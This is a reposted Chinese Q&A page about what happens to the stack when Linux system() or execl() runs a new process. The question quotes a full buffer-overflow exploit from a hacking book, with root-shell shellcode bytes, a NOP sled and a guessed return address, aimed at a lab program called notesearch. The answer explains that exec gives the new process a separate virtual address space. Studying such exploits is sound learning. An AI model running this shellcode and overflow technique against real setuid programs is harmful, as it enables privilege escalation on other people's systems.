ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

系统功能和堆栈

2019-10-30 13:51:09  阅读:174  来源: 互联网

标签:buffer-overflow stack c-3 linux


我对Linux系统调用System()和堆栈有疑问.
让我们假设我们有:

#include <stdio.h>
#include <stdlib.h>

int main(int argc, char* argv[]) {
   char buff[] = "/usr/bin/ls"
   system(buff);
   return 0;
}

现在,由于system()函数先生成fork(),然后再生成execl(),所以我的问题是:新进程的堆栈放置在靠近上述main()之一的位置,或者它可以放在记忆?
更笼统地说:在这个简单的示例中,main()堆栈发生了什么?

此外,如果main()是:

#include <stdio.h>
#include <stdlib.h>

int main(int argc, char* argv[]) {
   char buff[] = "/usr/bin/ls"
   execl(buff, 0);
   return 0;
}

在这种情况下,由于未调用fork(),因此应定期将函数execl()的堆栈放置在main()之一的正上方,对吗?

编辑:
如果main和system()执行的进程之间的虚拟地址空间不同,为什么这样做应该起作用:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80";

int main(int argc, char *argv[]) {
  unsigned int i, *ptr, ret, offset=270;
  char *command, *buffer;
  command = (char *) malloc(200);
  bzero(command, 200); // Zero out the new memory.

  strcpy(command, "./notesearch \'"); // Start command buffer.
  buffer = command + strlen(command); // Set buffer at the end.

  if(argc > 1) // Set offset.
     offset = atoi(argv[1]);

  ret = (unsigned int) &i - offset; // Set return address.

  for(i=0; i < 160; i+=4) // Fill buffer with return address.
     *((unsigned int *)(buffer+i)) = ret;

  memset(buffer, 0x90, 60); // Build NOP sled.
  memcpy(buffer+60, shellcode, sizeof(shellcode)-1);

  strcat(command, "\'");

  system(command); // Run exploit.
  free(command);
}

我在正在阅读有关黑客的书中找到了它.这段代码只是对缓冲区溢出的一种利用.目的是运行带有临时参数的程序bof,该程序可以利用bof并运行shellcode.

使用局部变量的地址(在示例中为intgn int i)作为基数和偏移量来获得在新过程中注入的shellcode的地址.但这仅在两个进程的虚拟地址空间相同的情况下才有效吗?

解决方法:

使用exec时,将替换进程的所有内存.堆栈,堆所有内容.包含buff的原始堆栈不再存在.

系统调用由一个fork和一个exec组成.派生创建一个新流程,该流程是原始流程的副本.执行程序然后替换新进程的内存.

使用exec时,将创建一个新的进程地址空间.该地址空间由内核管理的各种可用内存块组成.这是一个新的虚拟地址空间.新进程的物理内存与旧进程的关系就是内核决定的.但是,由于新的地址空间是虚拟的,因此它与父进程的地址空间无关.即使您知道父进程中buff的地址并且可以将该地址传递给子进程,该地址对子进程也没有任何意义.

标签:buffer-overflow,stack,c-3,linux
来源: https://codeday.me/bug/20191030/1968212.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有